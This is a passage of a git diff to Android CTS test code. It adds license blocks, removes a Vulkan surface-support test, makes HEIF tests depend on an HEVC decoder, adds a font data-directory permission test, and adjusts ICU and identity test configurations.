     defaults: ["cts_defaults"],
diff --git a/tests/tests/drm/jni/Android.bp b/tests/tests/drm/jni/Android.bp
index aa6a94b..c088695 100644
--- a/tests/tests/drm/jni/Android.bp
+++ b/tests/tests/drm/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsdrm_jni",
     srcs: [
diff --git a/tests/tests/drm/lib/Android.bp b/tests/tests/drm/lib/Android.bp
index 2724d2b..58ad288 100644
--- a/tests/tests/drm/lib/Android.bp
+++ b/tests/tests/drm/lib/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libdrmtestplugin",
     cflags: [
diff --git a/tests/tests/dynamic_linker/Android.bp b/tests/tests/dynamic_linker/Android.bp
index 38a7d25..c93e2df 100644
--- a/tests/tests/dynamic_linker/Android.bp
+++ b/tests/tests/dynamic_linker/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libdynamiclinker_native_lib_a",
     sdk_version: "current",
diff --git a/tests/tests/effect/Android.bp b/tests/tests/effect/Android.bp
index 5ee5b74..5e9a14f 100644
--- a/tests/tests/effect/Android.bp
+++ b/tests/tests/effect/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsEffectTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/externalservice/Android.bp b/tests/tests/externalservice/Android.bp
index c70d41b..a1960d7 100644
--- a/tests/tests/externalservice/Android.bp
+++ b/tests/tests/externalservice/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsExternalServiceTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/externalservice/common/Android.bp b/tests/tests/externalservice/common/Android.bp
index 4348ace..5300297 100644
--- a/tests/tests/externalservice/common/Android.bp
+++ b/tests/tests/externalservice/common/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "CtsExternalServiceCommon",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/externalservice/service/Android.bp b/tests/tests/externalservice/service/Android.bp
index 781d272..3ae356e 100644
--- a/tests/tests/externalservice/service/Android.bp
+++ b/tests/tests/externalservice/service/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsExternalServiceService",
     defaults: ["cts_support_defaults"],
diff --git a/tests/tests/gesture/Android.bp b/tests/tests/gesture/Android.bp
index 0d0f52d..318d4a0 100644
--- a/tests/tests/gesture/Android.bp
+++ b/tests/tests/gesture/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsGestureTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/graphics/Android.bp b/tests/tests/graphics/Android.bp
index 3f821b0..7a3cdab 100644
--- a/tests/tests/graphics/Android.bp
+++ b/tests/tests/graphics/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsGraphicsTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/graphics/jni/Android.bp b/tests/tests/graphics/jni/Android.bp
index 7327949..bb4ca258 100644
--- a/tests/tests/graphics/jni/Android.bp
+++ b/tests/tests/graphics/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsgraphics_jni",
     gtest: false,
@@ -29,7 +33,6 @@
         "android_graphics_cts_MediaVulkanGpuTest.cpp",
         "android_graphics_cts_VulkanFeaturesTest.cpp",
         "android_graphics_cts_VulkanPreTransformCtsActivity.cpp",
-        "android_graphics_cts_VulkanSurfaceSupportTest.cpp",
         "android_graphics_fonts_cts_SystemFonts.cpp",
         "CameraTestHelpers.cpp",
         "ImageReaderTestHelpers.cpp",
diff --git a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
index 050f403..0ebb9b3 100644
--- a/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
+++ b/tests/tests/graphics/jni/CtsGraphicsJniOnLoad.cpp
@@ -28,7 +28,6 @@
 extern int register_android_graphics_cts_MediaVulkanGpuTest(JNIEnv*);
 extern int register_android_graphics_cts_VulkanFeaturesTest(JNIEnv*);
 extern int register_android_graphics_cts_VulkanPreTransformCtsActivity(JNIEnv*);
-extern int register_android_graphics_cts_VulkanSurfaceSupportTest(JNIEnv*);
 extern int register_android_graphics_fonts_cts_SystemFontTest(JNIEnv*);
 
 jint JNI_OnLoad(JavaVM* vm, void* /*reserved*/) {
@@ -55,8 +54,6 @@
         return JNI_ERR;
     if (register_android_graphics_cts_VulkanPreTransformCtsActivity(env))
         return JNI_ERR;
-    if (register_android_graphics_cts_VulkanSurfaceSupportTest(env))
-        return JNI_ERR;
     if (register_android_graphics_cts_BasicVulkanGpuTest(env))
         return JNI_ERR;
     if (register_android_graphics_cts_CameraVulkanGpuTest(env))
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
index f84658f..d7e927c 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.cpp
@@ -213,13 +213,6 @@
     ASSERT(queueFamilyIndex < queueFamilyCount);
     mQueueFamilyIndex = queueFamilyIndex;
 
-    VkBool32 supported = VK_FALSE;
-    VK_CALL(vkGetPhysicalDeviceSurfaceSupportKHR(mGpu, mQueueFamilyIndex, mSurface, &supported));
-    if (supported == VK_FALSE) {
-        ALOGD("Surface format not supported");
-        return VK_TEST_SURFACE_FORMAT_NOT_SUPPORTED;
-    }
-
     const float priority = 1.0f;
     const VkDeviceQueueCreateInfo queueCreateInfo = {
             .sType = VK_STRUCTURE_TYPE_DEVICE_QUEUE_CREATE_INFO,
diff --git a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
index 743c124..ba36b7a 100644
--- a/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
+++ b/tests/tests/graphics/jni/VulkanPreTransformTestHelpers.h
@@ -27,8 +27,7 @@
     VK_TEST_ERROR = -1,
     VK_TEST_SUCCESS = 0,
     VK_TEST_PHYSICAL_DEVICE_NOT_EXISTED = 1,
-    VK_TEST_SURFACE_FORMAT_NOT_SUPPORTED = 2,
-    VK_TEST_SUCCESS_SUBOPTIMAL = 3,
+    VK_TEST_SUCCESS_SUBOPTIMAL = 2,
 } VkTestResult;
 
 class DeviceInfo {
diff --git a/tests/tests/graphics/jni/android_graphics_cts_VulkanSurfaceSupportTest.cpp b/tests/tests/graphics/jni/android_graphics_cts_VulkanSurfaceSupportTest.cpp
deleted file mode 100644
index 1621023..0000000
--- a/tests/tests/graphics/jni/android_graphics_cts_VulkanSurfaceSupportTest.cpp
+++ /dev/null
@@ -1,77 +0,0 @@
-/*
- * Copyright 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- *
- */
-
-#define LOG_TAG "VulkanSurfaceSupportTest"
-
-#ifndef VK_USE_PLATFORM_ANDROID_KHR
-#define VK_USE_PLATFORM_ANDROID_KHR
-#endif
-
-#include <android/log.h>
-#include <jni.h>
-#include <array>
-
-#include "NativeTestHelpers.h"
-#include "VulkanPreTransformTestHelpers.h"
-
-#define ALOGD(...) __android_log_print(ANDROID_LOG_DEBUG, LOG_TAG, __VA_ARGS__)
-#define ALOGE(...) __android_log_print(ANDROID_LOG_ERROR, LOG_TAG, __VA_ARGS__)
-
-namespace {
-
-void createNativeTest(JNIEnv* env, jclass /*clazz*/, jobject jAssetManager, jobject jSurface,
-                      jboolean jSupported) {
-    ASSERT(jAssetManager, "jAssetManager is NULL");
-    ASSERT(jSurface, "jSurface is NULL");
-
-    DeviceInfo deviceInfo;
-    VkTestResult ret = deviceInfo.init(env, jSurface);
-    if (ret == VK_TEST_PHYSICAL_DEVICE_NOT_EXISTED) {
-        ALOGD("Hardware not supported for this test");
-        return;
-    }
-    if (ret == VK_TEST_SURFACE_FORMAT_NOT_SUPPORTED) {
-        ASSERT(jSupported == false, "Surface format should not be supported");
-        return;
-    }
-    ASSERT(ret == VK_TEST_SUCCESS, "Failed to initialize Vulkan device");
-    ASSERT(jSupported == true, "Surface format should be supported");
-
-    SwapchainInfo swapchainInfo(&deviceInfo);
-    ASSERT(swapchainInfo.init(false, nullptr) == VK_TEST_SUCCESS,
-           "Failed to initialize Vulkan swapchain");
-
-    Renderer renderer(&deviceInfo, &swapchainInfo);
-    ASSERT(renderer.init(env, jAssetManager) == VK_TEST_SUCCESS,
-           "Failed to initialize Vulkan renderer");
-
-    for (uint32_t i = 0; i < 3; ++i) {
-        ASSERT(renderer.drawFrame() == VK_TEST_SUCCESS, "Failed to draw frame");
-    }
-}
-
-const std::array<JNINativeMethod, 1> JNI_METHODS = {{
-        {"nCreateNativeTest", "(Landroid/content/res/AssetManager;Landroid/view/Surface;Z)V",
-         (void*)createNativeTest},
-}};
-
-} // anonymous namespace
-
-int register_android_graphics_cts_VulkanSurfaceSupportTest(JNIEnv* env) {
-    jclass clazz = env->FindClass("android/graphics/cts/VulkanSurfaceSupportTest");
-    return env->RegisterNatives(clazz, JNI_METHODS.data(), JNI_METHODS.size());
-}
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
index 371a637..55a7ac1 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapRegionDecoderTest.java
@@ -32,6 +32,7 @@
 import android.graphics.Canvas;
 import android.graphics.ColorSpace;
 import android.graphics.Rect;
+import android.media.MediaFormat;
 import android.os.ParcelFileDescriptor;
 
 import androidx.test.InstrumentationRegistry;
@@ -40,6 +41,7 @@
 import androidx.test.runner.AndroidJUnit4;
 
 import com.android.compatibility.common.util.BitmapUtils;
+import com.android.compatibility.common.util.MediaUtils;
 
 import org.junit.After;
 import org.junit.Before;
@@ -641,6 +643,10 @@
 
     @Test
     public void testHeif() throws IOException {
+        if (!MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+            // HEIF support is optional when HEVC decoder is not supported.
+            return;
+        }
         InputStream is = obtainInputStream(R.raw.heifwriter_input);
         BitmapRegionDecoder decoder = BitmapRegionDecoder.newInstance(is, false);
         Bitmap region = decoder.decodeRegion(new Rect(0, 0, TILE_SIZE, TILE_SIZE), null);
diff --git a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
index d8fad93..0433205 100644
--- a/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/BitmapTest.java
@@ -428,7 +428,7 @@
                 HARDWARE_OPTIONS);
         assertEquals(Config.HARDWARE, hardwareBitmap.getConfig());
 
-        Bitmap ret = Bitmap.createBitmap(hardwareBitmap, 0, 0, 100, 100, null, false);
+        Bitmap ret = Bitmap.createBitmap(hardwareBitmap, 0, 0, 96, 96, null, false);
         assertEquals(Config.HARDWARE, ret.getConfig());
         assertFalse(ret.isMutable());
     }
diff --git a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
index 867f8a3..121af43 100644
--- a/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
+++ b/tests/tests/graphics/src/android/graphics/cts/ImageDecoderTest.java
@@ -43,6 +43,7 @@
 import android.graphics.drawable.BitmapDrawable;
 import android.graphics.drawable.Drawable;
 import android.graphics.drawable.NinePatchDrawable;
+import android.media.MediaFormat;
 import android.net.Uri;
 import android.util.DisplayMetrics;
 import android.util.Size;
@@ -53,6 +54,7 @@
 import androidx.test.filters.LargeTest;
 
 import com.android.compatibility.common.util.BitmapUtils;
+import com.android.compatibility.common.util.MediaUtils;
 
 import org.junit.Test;
 import org.junit.runner.RunWith;
@@ -65,6 +67,8 @@
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.Arrays;
 import java.util.concurrent.Callable;
 import java.util.function.IntFunction;
 import java.util.function.Supplier;
@@ -98,19 +102,24 @@
 
     private static final ColorSpace sSRGB = ColorSpace.get(ColorSpace.Named.SRGB);
 
-    static Object[] getRecords() {
-        return new Record[] {
-            new Record(R.drawable.baseline_jpeg, 1280, 960, "image/jpeg", false, false, sSRGB),
-            new Record(R.drawable.grayscale_jpg, 128, 128, "image/jpeg", true, false, sSRGB),
-            new Record(R.drawable.png_test, 640, 480, "image/png", false, false, sSRGB),
-            new Record(R.drawable.gif_test, 320, 240, "image/gif", false, false, sSRGB),
-            new Record(R.drawable.bmp_test, 320, 240, "image/bmp", false, false, sSRGB),
-            new Record(R.drawable.webp_test, 640, 480, "image/webp", false, false, sSRGB),
-            new Record(R.drawable.google_chrome, 256, 256, "image/x-ico", false, true, sSRGB),
-            new Record(R.drawable.color_wheel, 128, 128, "image/x-ico", false, true, sSRGB),
-            new Record(R.raw.sample_1mp, 600, 338, "image/x-adobe-dng", false, false, sSRGB),
-            new Record(R.raw.heifwriter_input, 1920, 1080, "image/heif", false, false, sSRGB),
-        };
+    static Record[] getRecords() {
+        ArrayList<Record> records = new ArrayList<>(Arrays.asList(new Record[] {
+                new Record(R.drawable.baseline_jpeg, 1280, 960, "image/jpeg", false, false, sSRGB),
+                new Record(R.drawable.grayscale_jpg, 128, 128, "image/jpeg", true, false, sSRGB),
+                new Record(R.drawable.png_test, 640, 480, "image/png", false, false, sSRGB),
+                new Record(R.drawable.gif_test, 320, 240, "image/gif", false, false, sSRGB),
+                new Record(R.drawable.bmp_test, 320, 240, "image/bmp", false, false, sSRGB),
+                new Record(R.drawable.webp_test, 640, 480, "image/webp", false, false, sSRGB),
+                new Record(R.drawable.google_chrome, 256, 256, "image/x-ico", false, true, sSRGB),
+                new Record(R.drawable.color_wheel, 128, 128, "image/x-ico", false, true, sSRGB),
+                new Record(R.raw.sample_1mp, 600, 338, "image/x-adobe-dng", false, false, sSRGB)
+        }));
+        if (MediaUtils.hasDecoder(MediaFormat.MIMETYPE_VIDEO_HEVC)) {
+            // HEIF support is optional when HEVC decoder is not supported.
+            records.add(new Record(R.raw.heifwriter_input, 1920, 1080, "image/heif", false, false,
+                                   sSRGB));
+        }
+        return records.toArray(new Record[] {});
     }
 
     // offset is how many bytes to offset the beginning of the image.
diff --git a/tests/tests/graphics/src/android/graphics/cts/VulkanSurfaceSupportTest.java b/tests/tests/graphics/src/android/graphics/cts/VulkanSurfaceSupportTest.java
deleted file mode 100644
index be29cd1..0000000
--- a/tests/tests/graphics/src/android/graphics/cts/VulkanSurfaceSupportTest.java
+++ /dev/null
@@ -1,58 +0,0 @@
-/*
- * Copyright 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.graphics.cts;
-
-import android.content.res.AssetManager;
-import android.graphics.ImageFormat;
-import android.media.ImageReader;
-import android.view.Surface;
-
-import androidx.test.InstrumentationRegistry;
-import androidx.test.filters.SmallTest;
-import androidx.test.runner.AndroidJUnit4;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-@SmallTest
-@RunWith(AndroidJUnit4.class)
-public final class VulkanSurfaceSupportTest {
-
-    static {
-        System.loadLibrary("ctsgraphics_jni");
-    }
-
-    private static final String TAG = VulkanSurfaceSupportTest.class.getSimpleName();
-    private static final boolean DEBUG = false;
-
-    @Test
-    public void testVulkanUnsupportedFormat() {
-        ImageReader reader = ImageReader.newInstance(640, 480, ImageFormat.YUV_420_888, 3);
-        nCreateNativeTest(
-                InstrumentationRegistry.getContext().getAssets(), reader.getSurface(), false);
-    }
-
-    @Test
-    public void testVulkanSupportedFormat() {
-        ImageReader reader = ImageReader.newInstance(640, 480, ImageFormat.RGB_565, 3);
-        nCreateNativeTest(
-                InstrumentationRegistry.getContext().getAssets(), reader.getSurface(), true);
-    }
-
-    private static native void nCreateNativeTest(
-            AssetManager manager, Surface surface, boolean supported);
-}
diff --git a/tests/tests/graphics/src/android/graphics/fonts/DataDirPermissionTest.java b/tests/tests/graphics/src/android/graphics/fonts/DataDirPermissionTest.java
new file mode 100644
index 0000000..1cdef41
--- /dev/null
+++ b/tests/tests/graphics/src/android/graphics/fonts/DataDirPermissionTest.java
@@ -0,0 +1,67 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.graphics.fonts;
+
+import static android.system.OsConstants.O_CREAT;
+import static android.system.OsConstants.O_RDWR;
+import static android.system.OsConstants.S_IRWXU;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.system.ErrnoException;
+import android.system.Os;
+
+import androidx.test.filters.SmallTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.io.File;
+
+@SmallTest
+@RunWith(AndroidJUnit4.class)
+public class DataDirPermissionTest {
+    private static final String FONT_DATA_DIR = "/data/fonts";
+    private static final String FONT_DATA_FILES_DIR = "/data/fonts/files";
+
+    @Test
+    public void testDataFontDirPermission() {
+        File file = new File(FONT_DATA_DIR);
+        assertThat(file.isDirectory()).isTrue();
+        assertThat(file.canRead()).isFalse();
+        assertThat(file.canWrite()).isFalse();
+    }
+
+    @Test(expected = ErrnoException.class)
+    public void testDataFontDirNotOpenableForWrite() throws Exception {
+        Os.open(FONT_DATA_DIR + "/test.txt", O_CREAT | O_RDWR, S_IRWXU);
+    }
+
+    @Test
+    public void testDataFontFilesDirPermission() {
+        File file = new File(FONT_DATA_FILES_DIR);
+        assertThat(file.isDirectory()).isTrue();
+        assertThat(file.canRead()).isFalse();
+        assertThat(file.canWrite()).isFalse();
+    }
+
+    @Test(expected = ErrnoException.class)
+    public void testDataFontFilesDirNotOpenableForWrite() throws Exception {
+        Os.open(FONT_DATA_FILES_DIR + "/test.txt", O_CREAT | O_RDWR, S_IRWXU);
+    }
+}
diff --git a/tests/tests/gwp-asan/enabled/Android.bp b/tests/tests/gwp-asan/enabled/Android.bp
index aadbdde..a78598e 100644
--- a/tests/tests/gwp-asan/enabled/Android.bp
+++ b/tests/tests/gwp-asan/enabled/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsGwpAsanTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/hardware/Android.bp b/tests/tests/hardware/Android.bp
index ea60dda..94e99c4 100644
--- a/tests/tests/hardware/Android.bp
+++ b/tests/tests/hardware/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsHardwareTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/hardware/jni/Android.bp b/tests/tests/hardware/jni/Android.bp
index f1a04c3a..f8c2ff3 100644
--- a/tests/tests/hardware/jni/Android.bp
+++ b/tests/tests/hardware/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctshardware_jni",
     cflags: ["-Werror"],
diff --git a/tests/tests/icu/Android.bp b/tests/tests/icu/Android.bp
index df1f6d0..c5a5141 100644
--- a/tests/tests/icu/Android.bp
+++ b/tests/tests/icu/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsIcuTestCases",
     defaults: ["cts_support_defaults"],
@@ -36,8 +40,10 @@
     defaults: ["cts_support_defaults"],
     test_config: "CtsIcu4cTestCases.xml",
     data: [
-        ":cintltst",
-        ":intltest",
+        ":cintltst32",
+        ":cintltst64",
+        ":intltest32",
+        ":intltest64",
         ":icu4c_test_data",
         ":ICU4CTestRunner",
     ],
diff --git a/tests/tests/icu/CtsIcu4cTestCases.xml b/tests/tests/icu/CtsIcu4cTestCases.xml
index acef467..3ef1629 100644
--- a/tests/tests/icu/CtsIcu4cTestCases.xml
+++ b/tests/tests/icu/CtsIcu4cTestCases.xml
@@ -17,17 +17,18 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="libcore" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
-    <!-- Test single abi only due to a limitation in Soong http://b/141637587#comment28. -->
-    <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
-        <option name="push" value="icu.cintltst->/data/local/tmp/cintltst" />
+        <option name="append-bitness" value="true" />
+        <option name="push" value="cintltst->/data/local/tmp/cintltst" />
         <option name="post-push" value="chmod a+x /data/local/tmp/cintltst" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
-        <option name="push" value="icu.intltest->/data/local/tmp/intltest" />
+        <option name="append-bitness" value="true" />
+        <option name="push" value="intltest->/data/local/tmp/intltest" />
         <option name="post-push" value="chmod a+x /data/local/tmp/intltest" />
     </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
@@ -35,8 +36,8 @@
         <option name="push" value="icu4c_test_data.zip->/data/local/tmp/icu4c_test_data.zip" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="mkdir -p /data/local/tmp/test/testdata &amp;&amp; unzip -o -d /data/local/tmp/test/testdata /data/local/tmp/icu4c_test_data.zip" />
-        <option name="teardown-command" value="rm -r /data/local/tmp/test/testdata" />
+        <option name="run-command" value="unzip -o -d /data/local/tmp/ /data/local/tmp/icu4c_test_data.zip" />
+        <option name="teardown-command" value="rm -r /data/local/tmp/test /data/local/tmp/data" />
     </target_preparer>
 
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
diff --git a/tests/tests/icu/icu4c_testapp/Android.bp b/tests/tests/icu/icu4c_testapp/Android.bp
index e0a8825..30fa910 100644
--- a/tests/tests/icu/icu4c_testapp/Android.bp
+++ b/tests/tests/icu/icu4c_testapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsIcu4cTestApp",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/icu/icu4c_testapp/AndroidManifest.xml b/tests/tests/icu/icu4c_testapp/AndroidManifest.xml
index 8195600..c2051b4 100644
--- a/tests/tests/icu/icu4c_testapp/AndroidManifest.xml
+++ b/tests/tests/icu/icu4c_testapp/AndroidManifest.xml
@@ -16,7 +16,8 @@
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
           package="android.icu4c.cts">
-    <application>
+    <!-- extractNativeLibs="false" is needed to run on secondary ABI. -->
+    <application android:extractNativeLibs="false">
         <uses-library android:name="android.test.runner" />
     </application>
 
diff --git a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
index e68fcd9..1b1535a 100644
--- a/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
+++ b/tests/tests/icu/resources/android/icu/cts/expectations/icu-known-failures.txt
@@ -2,14 +2,6 @@
  * This file contains expectations for tests that are known to fail.
  */
 [
-// Uncomment this to exclude all tests and then add result: "SUCCESS" to any specific tests that
-// need to be run.
-/*
-{
-  description: "Exclude all tests",
-  name: "android.icu.dev.test"
-},
-*/
 {
   description: "Serialized forms have not been converted to use repackaged classes",
   name: "android.icu.dev.test.format.NumberFormatRegressionTest#TestSerialization",
@@ -19,22 +11,5 @@
   description: "Checks differences in DecimalFormat classes from ICU4J and JDK but on Android java.text.DecimalFormat is implemented in terms of ICU4J",
   name: "android.icu.dev.test.format.NumberFormatTest#TestDataDrivenJDK",
   bug: "27711713"
-},
-{
-  description: "Collation rules data has been removed from ICU4J data on Android",
-  names: [
-    "android.icu.dev.test.collator.CollationCreationMethodTest#TestRuleVsLocaleCreationMonkey",
-    "android.icu.dev.test.collator.CollationMiscTest#TestImport",
-    "android.icu.dev.test.collator.CollationMiscTest#TestImportWithType",
-    "android.icu.dev.test.collator.CollationMiscTest#TestUCARules",
-    "android.icu.dev.test.collator.CollationTest#TestDataDriven",
-    "android.icu.dev.test.collator.G7CollationTest#TestG7Data"
-  ],
-  bug: "27552651"
-},
-{
-  description: "Unknown Language != Unknown language",
-  name: "android.icu.dev.test.TestLocaleNamePackaging#testLanguageDisplayNames",
-  bug: "33447162"
 }
 ]
diff --git a/tests/tests/identity/Android.bp b/tests/tests/identity/Android.bp
index 203f578..01e9914 100644
--- a/tests/tests/identity/Android.bp
+++ b/tests/tests/identity/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsIdentityTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java b/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
index 06ae8ab..c63b793 100644
--- a/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/AttestationTest.java
@@ -102,16 +102,6 @@
         // Since we cannot get the implementation name or author at this layer, we can't test for
         // it. This can be tested for in the VTS test, however.
 
-        // As per the IC HAL, the keymasterVersion field should be the version of the Identity
-        // Credential HAL - 1.0 - and this is encoded as major*10 + minor. This field is used by
-        // Keymaster which is known to report integers less than or equal to 4 (for KM up to 4.0)
-        // and integers greater or equal than 41 (for KM starting with 4.1).
-        //
-        // Since we won't get to version 4.0 of the IC HAL for a while, let's also check that a KM
-        // version isn't errornously returned.
-        assertTrue(record.getKeymasterVersion() >= 10);
-        assertTrue(record.getKeymasterVersion() < 40);
-
         // Check that the challenge we passed in, is in fact in the attestation record.
         assertArrayEquals(challenge, record.getAttestationChallenge());
 
diff --git a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
index c5c5cd1..f61273e 100644
--- a/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
+++ b/tests/tests/identity/src/android/security/identity/cts/DynamicAuthTest.java
@@ -25,6 +25,7 @@
 
 import android.content.Context;
 
+import android.os.SystemClock;
 import android.security.identity.EphemeralPublicKeyNotFoundException;
 import android.security.identity.IdentityCredential;
 import android.security.identity.IdentityCredentialException;
@@ -43,6 +44,7 @@
 import java.security.SignatureException;
 import java.security.cert.CertificateException;
 import java.security.cert.X509Certificate;
+import java.time.Instant;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
@@ -455,6 +457,140 @@
         store.deleteCredentialByName(credentialName);
     }
 
+
+    @Test
